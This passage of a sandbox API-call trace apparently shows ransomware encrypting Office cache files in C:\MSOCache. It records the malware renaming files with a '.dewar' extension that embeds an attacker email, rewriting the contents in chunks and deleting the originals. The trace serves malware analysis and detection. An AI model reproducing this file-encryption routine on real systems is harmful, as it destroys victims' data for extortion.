Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0067.599] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0067.599] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0067.599] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0067.600] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0067.600] ReadFile (in: hFile=0x1c4, lpBuffer=0x3270020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesRead=0x2fbfdfc*=0x8f8, lpOverlapped=0x0) returned 1 [0067.605] WriteFile (in: hFile=0x1c0, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x900, lpOverlapped=0x0) returned 1 [0067.608] WriteFile (in: hFile=0x1c0, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xf2, lpOverlapped=0x0) returned 1 [0067.608] CloseHandle (hObject=0x1c4) returned 1 [0067.608] CloseHandle (hObject=0x1c0) returned 1 [0067.610] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0067.613] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0069.008] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=2503680) returned 1 [0069.008] CloseHandle (hObject=0x1c4) returned 1 [0069.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020 [0069.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0069.010] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0069.011] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0069.011] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0069.011] ReadFile (in: hFile=0x1c4, lpBuffer=0x3270058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x3270058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0069.032] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0069.032] ReadFile (in: hFile=0x1c4, lpBuffer=0x32b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32b0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0069.695] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0069.695] ReadFile (in: hFile=0x1c4, lpBuffer=0x32f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32f0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0069.722] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfde8 | out: lpNewFilePointer=0x0) returned 1 [0069.723] WriteFile (in: hFile=0x1c4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xc0112, lpOverlapped=0x0) returned 1 [0070.425] SetEndOfFile (hFile=0x1c4) returned 1 [0070.427] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0070.427] WriteFile (in: hFile=0x1c4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0070.434] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0070.435] WriteFile (in: hFile=0x1c4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0070.447] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0070.447] WriteFile (in: hFile=0x1c4, lpBuffer=0x333014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333014a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0070.451] CloseHandle (hObject=0x1c4) returned 1 [0072.876] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0073.297] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=1450) returned 1 [0073.298] CloseHandle (hObject=0x1c8) returned 1 [0073.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0073.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0073.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0073.299] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0073.299] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0073.299] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0073.299] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1cc [0073.300] ReadFile (in: hFile=0x1c8, lpBuffer=0x3270020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesRead=0x2fbfdfc*=0x5aa, lpOverlapped=0x0) returned 1 [0073.375] WriteFile (in: hFile=0x1cc, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x5b0, lpOverlapped=0x0) returned 1 [0073.379] WriteFile (in: hFile=0x1cc, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x102, lpOverlapped=0x0) returned 1 [0073.379] CloseHandle (hObject=0x1c8) returned 1 [0073.379] CloseHandle (hObject=0x1cc) returned 1 [0073.380] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0074.298] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0074.301] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=70361744) returned 1 [0074.301] CloseHandle (hObject=0x1cc) returned 1 [0074.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0074.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0074.303] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0074.304] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0074.304] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0074.304] ReadFile (in: hFile=0x1cc, lpBuffer=0x3270058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x3270058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0074.332] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0074.332] ReadFile (in: hFile=0x1cc, lpBuffer=0x32b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32b0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0074.828] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0074.828] ReadFile (in: hFile=0x1cc, lpBuffer=0x32f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32f0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0074.907] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfde8 | out: lpNewFilePointer=0x0) returned 1 [0074.907] WriteFile (in: hFile=0x1cc, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xc0102, lpOverlapped=0x0) returned 1 [0075.723] SetEndOfFile (hFile=0x1cc) returned 1 [0075.723] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0075.723] WriteFile (in: hFile=0x1cc, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0076.625] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0076.625] WriteFile (in: hFile=0x1cc, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0076.627] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0076.628] WriteFile (in: hFile=0x1cc, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0076.630] CloseHandle (hObject=0x1cc) returned 1 [0087.381] SetEvent (hEvent=0x144) returned 1 [0087.382] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0087.383] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=1608) returned 1 [0087.383] CloseHandle (hObject=0x1cc) returned 1 [0087.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0087.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0087.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0087.383] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0087.383] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0087.384] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfdf0 | out: lpNewFilePointer=0x0) returned 1 [0087.384] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1d4 [0087.384] ReadFile (in: hFile=0x1cc, lpBuffer=0x3270020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fbfdfc, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesRead=0x2fbfdfc*=0x648, lpOverlapped=0x0) returned 1 [0087.434] WriteFile (in: hFile=0x1d4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0x650, lpOverlapped=0x0) returned 1 [0087.436] WriteFile (in: hFile=0x1d4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xf2, lpOverlapped=0x0) returned 1 [0087.437] CloseHandle (hObject=0x1cc) returned 1 [0087.437] CloseHandle (hObject=0x1d4) returned 1 [0087.442] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0087.445] SetEvent (hEvent=0x144) returned 1 [0087.446] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0087.449] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=14819276) returned 1 [0087.449] CloseHandle (hObject=0x1d4) returned 1 [0087.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0087.449] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0087.450] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0087.450] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0087.451] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0087.451] ReadFile (in: hFile=0x1d4, lpBuffer=0x3270058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x3270058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0087.491] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0087.492] ReadFile (in: hFile=0x1d4, lpBuffer=0x32b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32b0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0087.986] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc78 | out: lpNewFilePointer=0x0) returned 1 [0087.996] ReadFile (in: hFile=0x1d4, lpBuffer=0x32f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc84, lpOverlapped=0x0 | out: lpBuffer=0x32f0058*, lpNumberOfBytesRead=0x2fbfc84*=0x40000, lpOverlapped=0x0) returned 1 [0088.397] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfde8 | out: lpNewFilePointer=0x0) returned 1 [0088.397] WriteFile (in: hFile=0x1d4, lpBuffer=0x3270020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2fbfde0, lpOverlapped=0x0 | out: lpBuffer=0x3270020*, lpNumberOfBytesWritten=0x2fbfde0*=0xc0102, lpOverlapped=0x0) returned 1 [0088.439] SetEndOfFile (hFile=0x1d4) returned 1 [0088.440] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0088.440] WriteFile (in: hFile=0x1d4, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0088.737] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0088.738] WriteFile (in: hFile=0x1d4, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0088.741] SetFilePointerEx (in: hFile=0x1d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc80 | out: lpNewFilePointer=0x0) returned 1 [0088.741] WriteFile (in: hFile=0x1d4, lpBuffer=0x333013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fbfc8c, lpOverlapped=0x0 | out: lpBuffer=0x333013a*, lpNumberOfBytesWritten=0x2fbfc8c*=0x40000, lpOverlapped=0x0) returned 1 [0088.743] CloseHandle (hObject=0x1d4) Thread: id = 22 os_tid = 0x764 [0060.523] GetProcessHeap () returned 0x550000 [0060.524] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600048 